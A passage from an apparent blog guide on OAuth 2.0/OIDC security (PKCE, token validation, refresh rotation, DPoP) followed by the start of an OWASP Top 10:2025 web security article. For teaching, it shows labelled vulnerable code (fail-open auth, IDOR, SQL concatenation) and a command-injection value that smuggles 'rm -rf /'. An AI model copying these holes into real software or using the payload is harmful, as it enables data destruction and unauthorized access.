Authorization: Basic base64(client_id:client_secret)

grant_type=authorization_code
&code=SplxlOBeZQQYbYS6WxSbIA
&redirect_uri=https://client.example/callback
&code_verifier=dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk
```

**PKCE server validation:**

```javascript title="pkce-validation.js"
// Authorization server validates PKCE
function validatePKCE(codeChallenge, codeVerifier, method) {
  if (method === "S256") {
    const computedChallenge = crypto.createHash("sha256").update(codeVerifier).digest("base64url")
    return computedChallenge === codeChallenge
  }
  // 'plain' method (SHOULD NOT be used)
  return codeVerifier === codeChallenge
}
```

### Step 6: Token Response

```json
{
  "access_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6ImF0K2p3dCJ9...",
  "token_type": "Bearer",
  "expires_in": 900,
  "refresh_token": "8xLOxBtZp8",
  "scope": "openid profile email",
  "id_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
}
```

---

## PKCE Deep Dive

PKCE (Proof Key for Code Exchange, RFC 7636) prevents authorization code interception attacks.

### The Attack PKCE Prevents

![Diagram](./diagram-2.svg)

**Attack scenario**: On mobile platforms, multiple apps can register the same custom URI scheme (`com.example.app://`). A malicious app intercepts the redirect containing the authorization code and exchanges it for tokens.

**With PKCE**: The authorization server binds the code to the `code_challenge`. Without the `code_verifier` (which only the legitimate app possesses), the malicious app cannot complete the exchange.

### Code Verifier Requirements (RFC 7636)

| Requirement       | Value                                           |
| ----------------- | ----------------------------------------------- |
| **Entropy**       | Minimum 256 bits (32 bytes)                     |
| **Character set** | `[A-Z] / [a-z] / [0-9] / "-" / "." / "_" / "~"` |
| **Length**        | 43-128 characters                               |
| **Generation**    | Cryptographic random number generator           |

### Challenge Methods

| Method  | Algorithm                          | Recommendation                 |
| ------- | ---------------------------------- | ------------------------------ |
| `S256`  | `BASE64URL(SHA256(code_verifier))` | MUST support; SHOULD use       |
| `plain` | `code_challenge = code_verifier`   | SHOULD NOT use (fallback only) |

**Design rationale**: `S256` is preferred because even if the `code_challenge` is leaked (e.g., in browser history), the original `code_verifier` cannot be derived. With `plain`, leaking the challenge equals leaking the verifier.

### PKCE in OAuth 2.1

> **OAuth 2.1 draft-14, Section 7.6**: "Clients MUST use code_challenge and code_verifier and authorization servers MUST enforce their use."

OAuth 2.1 makes PKCE mandatory for all clients—public and confidential. This acknowledges that:

1. Client secrets can leak (supply chain attacks, compromised dependencies)
2. PKCE provides defense-in-depth even when secrets are used
3. A single secure pattern simplifies implementation

---

## OpenID Connect (OIDC) Identity Layer

OIDC extends OAuth 2.0 to provide **authentication** (proving _who_ the user is) in addition to OAuth's **authorization** (proving _what_ the user can access).

### ID Token Structure

The ID token is a JWT containing identity claims about the authenticated user:

```json
{
  "iss": "https://auth.example.com",
  "sub": "user_12345",
  "aud": "CLIENT_ID",
  "exp": 1704153600,
  "iat": 1704150000,
  "auth_time": 1704149900,
  "nonce": "def456uvw",
  "acr": "urn:mace:incommon:iap:silver",
  "amr": ["pwd", "mfa"],
  "at_hash": "x4Q8HQ2_VFbP...",
  "name": "Jane Doe",
  "email": "jane@example.com",
  "email_verified": true
}
```

### ID Token Claims

**Required claims (per OIDC Core 1.0):**

| Claim | Description                                        | Validation                      |
| ----- | -------------------------------------------------- | ------------------------------- |
| `iss` | Issuer identifier (HTTPS URL)                      | MUST match expected issuer      |
| `sub` | Subject identifier (max 255 chars, locally unique) | Unique user ID within issuer    |
| `aud` | Audience—MUST contain `client_id`                  | Reject if client_id not present |
| `exp` | Expiration time                                    | Reject if current time > exp    |
| `iat` | Issued at time                                     | Used for clock validation       |

**Contextually required claims:**

| Claim       | Description                            | When Required                           |
| ----------- | -------------------------------------- | --------------------------------------- |
| `nonce`     | Replay protection value                | MUST be present if sent in request      |
| `auth_time` | Time of authentication                 | When `max_age` requested                |
| `acr`       | Authentication Context Class Reference | When requested as Essential             |
| `amr`       | Authentication Methods References      | Indicates methods used (pwd, otp, etc.) |
| `at_hash`   | Access token hash                      | When token issued with ID token         |
| `azp`       | Authorized party                       | When aud contains multiple values       |

### ID Token Validation (Mandatory Steps)

```javascript title="id-token-validation.js" collapse={1-5, 40-55}
import jwt from "jsonwebtoken"
import jwksClient from "jwks-rsa"

async function validateIdToken(idToken, expectedIssuer, clientId, nonce) {
  // 1. Decode header to get key ID
  const decoded = jwt.decode(idToken, { complete: true })
  const { kid, alg } = decoded.header

  // 2. Fetch signing key from JWKS endpoint
  const client = jwksClient({ jwksUri: `${expectedIssuer}/.well-known/jwks.json` })
  const key = await client.getSigningKey(kid)

  // 3. Verify signature and decode claims
  const claims = jwt.verify(idToken, key.getPublicKey(), {
    algorithms: [alg], // Explicitly allowlist algorithm
    issuer: expectedIssuer,
    audience: clientId,
  })

  // 4. Validate nonce (replay protection)
  if (claims.nonce !== nonce) {
    throw new Error("Nonce mismatch - potential replay attack")
  }

  // 5. Validate auth_time if max_age was used
  if (claims.auth_time && maxAgeUsed) {
    const authAge = Math.floor(Date.now() / 1000) - claims.auth_time
    if (authAge > maxAge) {
      throw new Error("Authentication too old - re-authentication required")
    }
  }

  // 6. Validate at_hash if present (binds ID token to access token)
  if (claims.at_hash) {
    const expectedHash = computeAtHash(accessToken, alg)
    if (claims.at_hash !== expectedHash) {
      throw new Error("Access token hash mismatch")
    }
  }

  return claims
}

// Compute at_hash per OIDC Core 3.1.3.6
function computeAtHash(accessToken, alg) {
  const hashAlg = alg === "RS256" ? "sha256" : "sha512"
  const hash = crypto.createHash(hashAlg).update(accessToken).digest()
  const halfHash = hash.slice(0, hash.length / 2)
  return halfHash.toString("base64url")
}
```

### ID Token vs Access Token vs Refresh Token

| Aspect         | ID Token                 | Access Token              | Refresh Token            |
| -------------- | ------------------------ | ------------------------- | ------------------------ |
| **Protocol**   | OIDC only                | OAuth 2.0 / OIDC          | OAuth 2.0 / OIDC         |
| **Purpose**    | Prove user identity      | Authorize API access      | Obtain new access tokens |
| **Format**     | Always JWT               | JWT or opaque             | Typically opaque         |
| **Audience**   | Client application       | Resource server (API)     | Authorization server     |
| **Validation** | Client validates locally | Resource server validates | Auth server only         |
| **Lifetime**   | Short (minutes)          | Short (5-60 min)          | Long (days/weeks)        |
| **Contains**   | User identity claims     | Scopes, permissions       | Token family reference   |

**Critical distinction**: ID tokens prove _who_ the user is (for the client). Access tokens prove _what_ the user can do (for the API). Never use an ID token to call APIs—it's semantically wrong and often insecure (audience mismatch).

### UserInfo Endpoint

The UserInfo endpoint returns claims about the authenticated user:

```http
GET /userinfo HTTP/1.1
Host: auth.example.com
Authorization: Bearer <access_token>
```

```json
{
  "sub": "user_12345",
  "name": "Jane Doe",
  "given_name": "Jane",
  "family_name": "Doe",
  "email": "jane@example.com",
  "email_verified": true,
  "picture": "https://example.com/jane.jpg"
}
```

**When to use UserInfo vs ID Token**:

- **ID Token**: Get claims at authentication time (single request)
- **UserInfo**: Fetch additional claims later, refresh claims without re-authentication

---

## Refresh Tokens and Rotation

Refresh tokens enable long-lived sessions without long-lived access tokens.

### Refresh Token Grant

```http
POST /token HTTP/1.1
Host: auth.example.com
Content-Type: application/x-www-form-urlencoded

grant_type=refresh_token
&refresh_token=8xLOxBtZp8
&client_id=CLIENT_ID
&scope=openid profile
```

**Response (with rotation):**

```json
{
  "access_token": "new_access_token...",
  "token_type": "Bearer",
  "expires_in": 900,
  "refresh_token": "new_refresh_token",
  "scope": "openid profile"
}
```

### Refresh Token Rotation

Rotation issues a new refresh token with each use, invalidating the previous one:

![Diagram](./diagram-3.svg)

### Reuse Detection

If a previously-used refresh token is presented, it indicates token theft:

![Diagram](./diagram-4.svg)

**Implementation considerations:**

```javascript title="refresh-reuse-detection.js" collapse={1-8, 30-45}
const GRACE_PERIOD_MS = 5000 // 5 seconds for network retries

async function handleRefreshToken(refreshToken) {
  const tokenRecord = await db.findRefreshToken(refreshToken)

  if (!tokenRecord) {
    throw new OAuthError("invalid_grant", "Unknown refresh token")
  }

  // Check if token was already used
  if (tokenRecord.usedAt) {
    const timeSinceUse = Date.now() - tokenRecord.usedAt

    // Grace period for legitimate retries (network failures)
    if (timeSinceUse < GRACE_PERIOD_MS) {
      // Return same tokens issued during grace period
      return tokenRecord.issuedTokens
    }

    // Outside grace period - potential theft!
    await db.revokeTokenFamily(tokenRecord.familyId)
    throw new OAuthError("invalid_grant", "Token reuse detected")
  }

  // Mark as used and issue new tokens
  await db.markTokenUsed(refreshToken, Date.now())

  const newTokens = await issueTokens(tokenRecord.userId, tokenRecord.scopes)
  await db.storeIssuedTokens(refreshToken, newTokens)

  return newTokens
}
```

**Trade-offs of rotation:**

| Benefit                     | Cost                                |
| --------------------------- | ----------------------------------- |
| Stolen tokens expire faster | Database write on every refresh     |
| Reuse detection possible    | Network failures can lock out users |
| Limits attacker window      | More complex state management       |

**Alternative: Sender-constrained tokens (DPoP/mTLS)** avoid rotation overhead by binding tokens to cryptographic keys.

---

## Token Storage by Platform

### Web Applications (Browser-Based)

| Storage            | XSS Vulnerable? | Recommendation                 |
| ------------------ | --------------- | ------------------------------ |
| `localStorage`     | Yes             | MUST NOT use for tokens        |
| `sessionStorage`   | Yes             | MUST NOT use for tokens        |
| JavaScript memory  | No (unless XSS) | RECOMMENDED for access tokens  |
| `HttpOnly` cookies | No              | RECOMMENDED for refresh tokens |

**Backend-for-Frontend (BFF) Pattern** (most secure for SPAs):

![Diagram](./diagram-5.svg)

- Browser never sees OAuth tokens
- BFF maintains server-side session
- Session ID in `HttpOnly`, `Secure`, `SameSite=Strict` cookie
- BFF proxies API requests with access token

### Mobile Applications

| Platform    | Recommended Storage        | Notes                               |
| ----------- | -------------------------- | ----------------------------------- |
| **iOS**     | Keychain Services          | Encrypted, hardware-backed          |
| **Android** | EncryptedSharedPreferences | Uses Android Keystore               |
| **Both**    | Secure Enclave/TEE         | Strongest protection when available |

```swift title="ios-keychain-storage.swift" collapse={1-4, 20-35}
// iOS: Store refresh token in Keychain
import Security

func storeRefreshToken(_ token: String, for userId: String) -> Bool {
    let query: [String: Any] = [
        kSecClass as String: kSecClassGenericPassword,
        kSecAttrAccount as String: userId,
        kSecAttrService as String: "oauth-refresh-token",
        kSecValueData as String: token.data(using: .utf8)!,
        kSecAttrAccessible as String: kSecAttrAccessibleWhenUnlockedThisDeviceOnly
    ]

    // Delete existing item first
    SecItemDelete(query as CFDictionary)

    // Add new item
    let status = SecItemAdd(query as CFDictionary, nil)
    return status == errSecSuccess
}
```

### Native Apps (RFC 8252)

RFC 8252 defines OAuth for native applications:

| Requirement                              | Rationale                               |
| ---------------------------------------- | --------------------------------------- |
| Use external user-agent (system browser) | Enables SSO, prevents credential theft  |
| MUST NOT use embedded WebViews           | Host app can inject JS, capture cookies |
| PKCE is mandatory                        | Multiple apps can claim same URI scheme |

**Redirect URI options:**

| Type               | Format                             | Platform                               |
| ------------------ | ---------------------------------- | -------------------------------------- |
| Claimed HTTPS      | `https://app.example.com/oauth`    | iOS Universal Links, Android App Links |
| Loopback           | `http://127.0.0.1:{port}/callback` | Desktop apps (any port)                |
| Private URI scheme | `com.example.app:/callback`        | Mobile apps                            |

---

## DPoP: Demonstrating Proof of Possession

DPoP (RFC 9449) sender-constrains tokens to prevent stolen tokens from being usable by attackers.

### How DPoP Works

![Diagram](./diagram-6.svg)

### DPoP Proof JWT Structure

**Header:**

```json
{
  "typ": "dpop+jwt",
  "alg": "ES256",
  "jwk": {
    "kty": "EC",
    "crv": "P-256",
    "x": "l8tFrhx-34tV3hRICRDY9zCkDlpBhF42UQUfWVAWBFs",
    "y": "9VE4jf_Ok_o64tbkMYAPVS-9hQp9A7v9oy_A9C1_2RY"
  }
}
```

**Payload (for token request):**

```json
{
  "jti": "e7d7c7a9-1234-5678-abcd-ef0123456789",
  "htm": "POST",
  "htu": "https://auth.example.com/token",
  "iat": 1704150000
}
```

**Payload (for resource request):**

```json
{
  "jti": "f8e8d8b9-2345-6789-bcde-f01234567890",
  "htm": "GET",
  "htu": "https://api.example.com/resource",
  "iat": 1704150100,
  "ath": "fUHyO2r2Z3DZ53EsNrWBb0xWXoaNy59IiKCAqksmQEo"
}
```

### DPoP Claims

| Claim   | Description                         | When Required           |
| ------- | ----------------------------------- | ----------------------- |
| `jti`   | Unique identifier (UUID v4)         | Always                  |
| `htm`   | HTTP method                         | Always                  |
| `htu`   | HTTP target URI (no query/fragment) | Always                  |
| `iat`   | Issued at timestamp                 | Always                  |
| `ath`   | Access token hash                   | For resource requests   |
| `nonce` | Server-provided nonce               | When required by server |

**Security benefit**: Even if an attacker steals the access token, they cannot use it without the private key that signed the DPoP proofs.

---

## Security Pitfalls and Mitigations

### Authorization Code Interception

**Attack**: Malicious app intercepts authorization code via shared redirect URI.

**Mitigation**: PKCE (mandatory in OAuth 2.1).

### CSRF via Forged Authorization Response

**Attack**: Attacker tricks user into completing OAuth flow with attacker's account.

**Mitigation**: `state` parameter—validate it matches the value sent in the request.

### ID Token Replay

**Attack**: Attacker replays captured ID token to authenticate as victim.

**Mitigation**: `nonce` parameter—include in request, validate in ID token.

### Mix-Up Attack

**Attack**: When client supports multiple authorization servers, attacker tricks client into sending tokens to wrong server.

**Mitigation**:

- Validate `iss` parameter in authorization response (RFC 9207)
- Validate `iss` claim in ID token matches expected issuer
- Use distinct `redirect_uri` per authorization server

### Open Redirect via redirect_uri

**Attack**: Attacker crafts authorization request with malicious `redirect_uri` to steal authorization code.

**Mitigation**: Exact string matching for `redirect_uri` validation (no wildcards, no patterns).

```javascript title="redirect-uri-validation.js"
// Registration: Store exact URIs only
const registeredRedirectUris = ["https://client.example.com/callback", "https://client.example.com/oauth/callback"]

// Validation: Exact string match
function validateRedirectUri(requestedUri) {
  // MUST be exact match - no wildcards, patterns, or normalization
  return registeredRedirectUris.includes(requestedUri)
}

// MUST NOT allow:
// - https://client.example.com/* (wildcard)
// - https://*.example.com/callback (subdomain wildcard)
// - Pattern matching or regex
```

### Token Leakage via Referrer

**Attack**: Access tokens in URL fragments leak via `Referer` header.

**Mitigation**:

- Use Authorization Code flow (not Implicit)
- Set `Referrer-Policy: no-referrer` header
- Use `response_mode=form_post` (OIDC)

### Insufficient Redirect URI Validation

**Attack**: Authorization server accepts partial URI matches, enabling redirect to attacker-controlled subdomain.

**Mitigation**: Per RFC 9700 (OAuth Security BCP): "Authorization servers MUST utilize exact string matching" for redirect URI validation.

---

## OAuth 2.1 Key Changes

OAuth 2.1 (currently draft-14, expected RFC in 2026) consolidates OAuth 2.0 with security best practices from RFC 9700.

### Removed Flows

| Flow                                    | Reason for Removal                                                         |
| --------------------------------------- | -------------------------------------------------------------------------- |
| **Implicit** (`response_type=token`)    | Tokens in URL fragments leak via history, referrer, logs                   |
| **Resource Owner Password Credentials** | Violates OAuth's core principle—never share credentials with third parties |

### Mandatory Requirements

| Requirement                                 | OAuth 2.0     | OAuth 2.1              |
| ------------------------------------------- | ------------- | ---------------------- |
| PKCE for public clients                     | RECOMMENDED   | MUST                   |
| PKCE for confidential clients               | Not mentioned | SHOULD                 |
| Exact redirect URI matching                 | SHOULD        | MUST                   |
| Bearer tokens in query strings              | Allowed       | MUST NOT               |
| Refresh token sender-constraint or rotation | Not specified | MUST (public clients)  |
| HTTPS for all endpoints                     | SHOULD        | MUST (except loopback) |

### Migration Checklist

1. **Implement PKCE** for all clients, including confidential
2. **Remove Implicit flow** support; migrate to Authorization Code + PKCE
3. **Remove ROPC** if implemented; migrate to proper redirect flow
4. **Enforce exact redirect URI matching**—no wildcards
5. **Implement refresh token rotation** or DPoP for public clients
6. **Never send tokens in query strings**—use headers or POST body

---

## Conclusion

OAuth 2.0 and OIDC provide a robust framework for authorization and authentication, but secure implementation requires understanding the threat model and applying defense-in-depth:

1. **Authorization Code + PKCE** is the only recommended flow—use it for all clients
2. **ID tokens prove identity** (for clients); **access tokens prove authorization** (for APIs)—never confuse them
3. **State, nonce, and PKCE** work together—all three are required
4. **Token storage** must match platform capabilities—HttpOnly cookies for web, Keychain/Keystore for mobile
5. **Refresh token rotation** or sender-constraining (DPoP) limits the blast radius of token theft
6. **OAuth 2.1** codifies best practices—adopt its requirements now

The complexity exists because the threat model is real. Authorization code interception, CSRF, replay attacks, and token theft are documented, exploited vulnerabilities. Every security parameter exists because of a specific attack it prevents.

## Appendix

### Prerequisites

- HTTP fundamentals (cookies, headers, redirects, CORS)
- Cryptographic basics (symmetric vs asymmetric, hashing, JWTs)
- Session management patterns

### Terminology

| Term                   | Definition                                                                            |
| ---------------------- | ------------------------------------------------------------------------------------- |
| **Authorization Code** | Short-lived credential exchanged for tokens; single-use, bound to client and PKCE     |
| **CSRF**               | Cross-Site Request Forgery—attack forcing user to execute unwanted actions            |
| **DPoP**               | Demonstrating Proof of Possession—mechanism for sender-constraining tokens (RFC 9449) |
| **ID Token**           | JWT containing identity claims about the authenticated user (OIDC)                    |
| **OIDC**               | OpenID Connect—identity layer on OAuth 2.0 for authentication                         |
| **PKCE**               | Proof Key for Code Exchange—prevents authorization code interception (RFC 7636)       |
| **Refresh Token**      | Long-lived credential for obtaining new access tokens without user interaction        |
| **Sender-Constraint**  | Binding a token to the client that requested it, preventing use by others             |

### Summary

- OAuth 2.0 is authorization (what you can access); OIDC is authentication (who you are)
- Authorization Code + PKCE is mandatory for all clients in OAuth 2.1
- `state` prevents CSRF; `nonce` prevents replay; PKCE prevents code interception—use all three
- ID tokens are for clients; access tokens are for APIs—never interchange them
- Refresh token rotation detects theft; DPoP prevents stolen token use
- Store tokens appropriately: memory/HttpOnly cookies for web; Keychain/Keystore for mobile
- OAuth 2.1 removes Implicit and ROPC flows; mandates PKCE and exact redirect URI matching

### References

**Core Specifications:**

- [RFC 6749: OAuth 2.0 Authorization Framework](https://datatracker.ietf.org/doc/html/rfc6749) - Core OAuth 2.0 specification
- [RFC 7636: PKCE](https://datatracker.ietf.org/doc/html/rfc7636) - Proof Key for Code Exchange
- [OpenID Connect Core 1.0](https://openid.net/specs/openid-connect-core-1_0.html) - OIDC specification (also ISO/IEC 26131:2024)
- [OAuth 2.1 Draft](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-14) - IETF Draft 14 (October 2025)

**Security Specifications:**

- [RFC 6819: OAuth 2.0 Threat Model](https://datatracker.ietf.org/doc/html/rfc6819) - Security considerations
- [RFC 9700: OAuth Security BCP](https://datatracker.ietf.org/doc/rfc9700/) - Best Current Practice (January 2025)
- [RFC 9449: DPoP](https://www.rfc-editor.org/rfc/rfc9449.html) - Demonstrating Proof of Possession
- [RFC 9207: Authorization Server Issuer Identification](https://datatracker.ietf.org/doc/html/rfc9207) - Mix-up attack prevention

**Implementation Guidance:**

- [RFC 8252: OAuth for Native Apps](https://datatracker.ietf.org/doc/html/rfc8252) - BCP 212 for mobile/desktop apps
- [OWASP OAuth2 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/OAuth2_Cheat_Sheet.html) - Implementation security guidance
- [Auth0 Token Best Practices](https://auth0.com/docs/secure/tokens/token-best-practices) - Practical implementation advice

---

## Web Application Security Architecture

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/web-foundations/web-security-auth/web-app-security-architecture
**Category:** Web Foundations / Security & Auth
**Description:** A defense-in-depth guide to security controls, threat mitigation strategies, and implementation patterns for modern web applications—covering security headers, authentication, cryptography, and the OWASP Top 10:2025.

# Web Application Security Architecture

A defense-in-depth guide to security controls, threat mitigation strategies, and implementation patterns for modern web applications—covering security headers, authentication, cryptography, and the OWASP Top 10:2025.

<figure>

![Defense in depth: multiple security layers where each compensates for potential failures in others. Attackers must bypass all layers to compromise the system.](./defense-in-depth-multiple-security-layers-where-each-compensates-for-potential-f.svg)

<figcaption>Defense in depth: multiple security layers where each compensates for potential failures in others. Attackers must bypass all layers to compromise the system.</figcaption>
</figure>

## Abstract

Web security operates on a layered defense model where controls at each layer compensate for potential failures in others:

- **Network layer**: TLS 1.3 encrypts transport; HSTS prevents downgrade; WAF filters malicious requests
- **Browser layer**: CSP restricts resource origins and blocks inline scripts; security headers disable dangerous features
- **Application layer**: Authentication verifies identity; authorization enforces access boundaries; input validation rejects malformed data
- **Data layer**: Argon2id hashes passwords; AES-256-GCM encrypts sensitive data; secure random generation prevents predictability

The OWASP Top 10:2025 identifies Broken Access Control as the primary threat—not because it's technically sophisticated, but because authorization logic is scattered throughout applications and easy to miss. CSP's shift from domain allowlists to nonce-based validation represents a similar evolution: cryptographic proof of trust replaces reputation-based assumptions.

## Foundational Security Principles

Security architecture rests on principles that, when consistently applied, prevent entire vulnerability classes rather than patching individual instances.

### Defense in Depth

No single control is infallible. Defense in depth layers multiple independent controls so that one failure doesn't compromise the system.

**Why this design**: Military fortification theory—breaching outer walls doesn't grant access to inner keeps. Applied to software: a Cross-Site Scripting (XSS) attack that bypasses input validation still fails against a properly configured Content Security Policy (CSP).

**Layer interaction**:

| Layer       | Control                           | Compensates For                     |
| ----------- | --------------------------------- | ----------------------------------- |
| Network     | WAF rules                         | Unknown application vulnerabilities |
| Transport   | TLS 1.3, HSTS                     | Network interception                |
| Browser     | CSP, security headers             | XSS, clickjacking                   |
| Application | Input validation, output encoding | Injection attacks                   |
| Data        | Encryption at rest                | Database compromise                 |
| Monitoring  | Anomaly detection                 | Undetected breaches                 |

**Failure mode**: Over-reliance on a single layer. A common antipattern is treating WAF as the sole XSS defense—attackers craft payloads that bypass WAF signatures but execute in browsers.

### Principle of Least Privilege

Grant minimum permissions required for a specific function, nothing more.

**Why this design**: Limits blast radius. A compromised service account with read-only database access can't exfiltrate data via `DELETE` statements or modify records.

**Implementation pattern**:

```javascript collapse={1-3}
// Least privilege: service accounts scoped to specific operations
const servicePermissions = {
  "api-read-service": {
    database: ["SELECT"],
    tables: ["users", "products"],
    columns: { users: ["id", "name", "email"] }, // No password_hash
  },
  "api-write-service": {
    database: ["INSERT", "UPDATE"],
    tables: ["orders", "cart"],
    // Cannot access users table at all
  },
}
```

**Edge case**: Temporary privilege elevation. When a user needs admin access for a specific task, grant time-bounded permissions that auto-revoke. Never grant persistent elevated access for occasional needs.

### Fail Secure

Systems must default to a secure state when errors occur. Ambiguous conditions should deny access, not grant it.

**Why this design**: Attackers deliberately trigger error conditions to bypass controls. If authentication errors result in access granted, every exception becomes an attack vector.

**Secure vs insecure failure**:

```javascript
// INSECURE: Fails open - errors grant access
async function checkAccess(userId, resource) {
  try {
    const allowed = await authService.check(userId, resource)
    return allowed
  } catch (error) {
    console.error("Auth check failed:", error)
    return true // Dangerous: failure grants access
  }
}

// SECURE: Fails closed - errors deny access
async function checkAccessSecure(userId, resource) {
  try {
    const allowed = await authService.check(userId, resource)
    return allowed === true // Explicit true check
  } catch (error) {
    logger.error("Auth check failed", { userId, resource, error: error.message })
    return false // Safe: failure denies access
  }
}
```

**Gotcha**: Error messages must not leak information. "Invalid username" vs "Invalid password" tells attackers which half of the credential pair is correct. Always use generic messages: "Invalid credentials."

## OWASP Top 10:2025

The OWASP Top 10:2025 represents a shift from symptom-based to root-cause categorization. Server-Side Request Forgery (SSRF), previously standalone, now rolls into Broken Access Control. Two new categories address supply chain and exception handling—reflecting real-world breach patterns.

### A01: Broken Access Control

**Position**: #1 (unchanged from 2021)

**Root cause**: Authorization logic scattered across application code, inconsistently enforced. 3.73% of tested applications contain at least one of the 40 related CWEs (Common Weakness Enumerations).

**Attack patterns**:

- **Insecure Direct Object Reference (IDOR)**: Manipulating resource identifiers (`/api/users/123` → `/api/users/124`)
- **Privilege escalation**: Accessing admin endpoints without role verification
- **SSRF** (now consolidated here): Inducing server-side requests to internal resources

**Vulnerable pattern**:

```javascript
// VULNERABLE: No authorization check - IDOR exploitable
app.get("/api/users/:id/documents", async (req, res) => {
  const documents = await db.documents.findByUserId(req.params.id)
  res.json(documents) // Anyone can access any user's documents
})
```

**Secure implementation**:

```javascript collapse={1-2, 20-25}
// Authorization middleware
const requireOwnership = (resourceType) => async (req, res, next) => {
  const resourceId = req.params.id
  const userId = req.user.id

  const isOwner = await checkOwnership(userId, resourceType, resourceId)
  const isAdmin = req.user.roles.includes("admin")

  if (!isOwner && !isAdmin) {
    logger.warn("Access denied", { userId, resourceType, resourceId })
    return res.status(403).json({ error: "Access denied" })
  }
  next()
}

// SECURE: Ownership verified before data access
app.get("/api/users/:id/documents", authenticate, requireOwnership("user"), async (req, res) => {
  const documents = await db.documents.findByUserId(req.params.id)
  res.json(documents)
})
```

**Design principle**: Centralize authorization in middleware or decorators. Scattered inline checks inevitably have gaps.

### A02: Security Misconfiguration

**Position**: #2 (up from #5 in 2021)

**Root cause**: Default configurations optimized for developer convenience, not production security. Debug endpoints exposed, default credentials unchanged, unnecessary features enabled.

**Common misconfigurations**:

| Component      | Misconfiguration                      | Exploit                       |
| -------------- | ------------------------------------- | ----------------------------- |
| Express.js     | Missing `helmet()` middleware         | XSS via missing headers       |
| Database       | Default `root`/`password` credentials | Full database access          |
| Cloud storage  | Public bucket ACLs                    | Data exfiltration             |
| Error handling | Stack traces in production            | Internal structure disclosure |

**Secure Express configuration**:

```javascript collapse={1-5, 25-35}
import express from "express"
import helmet from "helmet"
import rateLimit from "express-rate-limit"

const app = express()

// Security headers via helmet
app.use(
  helmet({
    contentSecurityPolicy: {
      directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'"],
        styleSrc: ["'self'", "'unsafe-inline'"], // Review for Trusted Types
        imgSrc: ["'self'", "data:", "https:"],
        objectSrc: ["'none'"],
        frameAncestors: ["'none'"],
      },
    },
    hsts: { maxAge: 31536000, includeSubDomains: true, preload: true },
  }),
)

// Rate limiting
app.use(
  rateLimit({
    windowMs: 15 * 60 * 1000,
    max: 100,
    standardHeaders: true,
    legacyHeaders: false,
  }),
)

// Body parsing with size limits
app.use(express.json({ limit: "100kb" }))

// Production error handler - no stack traces
app.use((err, req, res, next) => {
  logger.error("Request error", { error: err.message, requestId: req.id })
  res.status(500).json({ error: "Internal error", requestId: req.id })
})
```

### A03: Software Supply Chain Failures (New)

**Position**: #3 (evolved from "Vulnerable and Outdated Components")

**Root cause**: Transitive dependencies introduce unknown vulnerabilities. A direct dependency on package A pulls in packages B, C, D—each with their own vulnerability surface.

**Attack vectors**:

- **Typosquatting**: `lodahs` instead of `lodash`
- **Dependency confusion**: Internal package names shadowed by public registry
- **Compromised maintainer accounts**: Legitimate packages injected with malicious code
- **Build pipeline compromise**: CI/CD artifacts modified post-compilation

**Mitigation strategy**:

```json
{
  "scripts": {
    "preinstall": "npm audit --audit-level=high",
    "postinstall": "npm audit signatures",
    "security:sbom": "npx @cyclonedx/cyclonedx-npm --output-file sbom.json"
  }
}
```

**Subresource Integrity (SRI)** for CDN resources:

```html
<script
  src="https://cdn.example.com/lib.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous"
></script>
```

**Design reasoning**: SRI provides cryptographic proof that CDN-served content matches expected hashes. If the CDN is compromised, browsers reject modified files.

### A04: Cryptographic Failures

**Position**: #4 (down from #2 in 2021)

**Root cause**: Using deprecated algorithms (MD5, SHA-1 for passwords), improper key management, or skipping encryption entirely.

**Algorithm selection** (OWASP Password Storage Cheat Sheet, 2025):

| Use Case                  | Algorithm   | Configuration                                   |
| ------------------------- | ----------- | ----------------------------------------------- |
| Password hashing          | Argon2id    | m=47104 (46 MiB), t=1, p=1 or m=19456, t=2, p=1 |
| Password hashing (legacy) | bcrypt      | Cost factor ≥10, max 72 bytes input             |
| Symmetric encryption      | AES-256-GCM | 256-bit key, random 96-bit IV per operation     |
| Asymmetric encryption     | RSA-OAEP    | 2048-bit minimum, 4096-bit recommended          |
| Digital signatures        | Ed25519     | 256-bit keys, deterministic signatures          |

**Secure password hashing**:

```javascript collapse={1-2}
import { hash, verify } from "@node-rs/argon2"

async function hashPassword(password) {
  // Argon2id with OWASP-recommended parameters
  return await hash(password, {
    memoryCost: 47104, // 46 MiB
    timeCost: 1, // 1 iteration
    parallelism: 1,
  })
}

async function verifyPassword(password, hashedPassword) {
  return await verify(hashedPassword, password)
}
```

**Why Argon2id over bcrypt**: Argon2 is memory-hard, resisting GPU/ASIC attacks. bcrypt is CPU-hard only—modern GPUs can parallelize bcrypt attacks efficiently. Argon2's memory requirements force sequential memory access patterns that GPUs cannot parallelize.

> **Prior to 2015**: bcrypt was the gold standard. Argon2 won the Password Hashing Competition in 2015, designed specifically to resist hardware-accelerated attacks. OWASP now recommends Argon2id as primary, bcrypt only for legacy systems.

### A05: Injection

**Position**: #5 (down from #3 in 2021)

**Root cause**: Untrusted data concatenated into commands or queries, interpreted as code rather than data.

**Injection types**:

| Type     | Vector                        | Defense                           |
| -------- | ----------------------------- | --------------------------------- |
| SQL      | Query string concatenation    | Parameterized queries             |
| NoSQL    | Object property injection     | Schema validation                 |
| Command  | Shell argument concatenation  | Avoid shell; use `execFile`       |
| LDAP     | Filter string manipulation    | Escape special characters         |
| Template | Template syntax in user input | Sandbox or disable user templates |

**SQL injection defense**:

```javascript
// VULNERABLE: String concatenation
const query = `SELECT * FROM users WHERE email = '${email}'`

// SECURE: Parameterized query
const [rows] = await db.execute("SELECT * FROM users WHERE email = ?", [email])
```

**Command injection defense**:

```javascript collapse={1-2}
import { execFile } from "child_process"
import { promisify } from "util"

const execFileAsync = promisify(execFile)

// VULNERABLE: Shell interpretation
// exec(`ping -c 4 ${host}`) // Attacker: "google.com; rm -rf /"

// SECURE: No shell, arguments as array
async function ping(host) {
  // Validate input first
  if (!/^[a-zA-Z0-9.-]+$/.test(host)) {
    throw new Error("Invalid hostname")
  }
  const { stdout } = await execFileAsync("ping", ["-c", "4", host])
  return stdout
}
```

### A06–A10: Summary

| Rank | Category                           | Key Mitigation                                        |
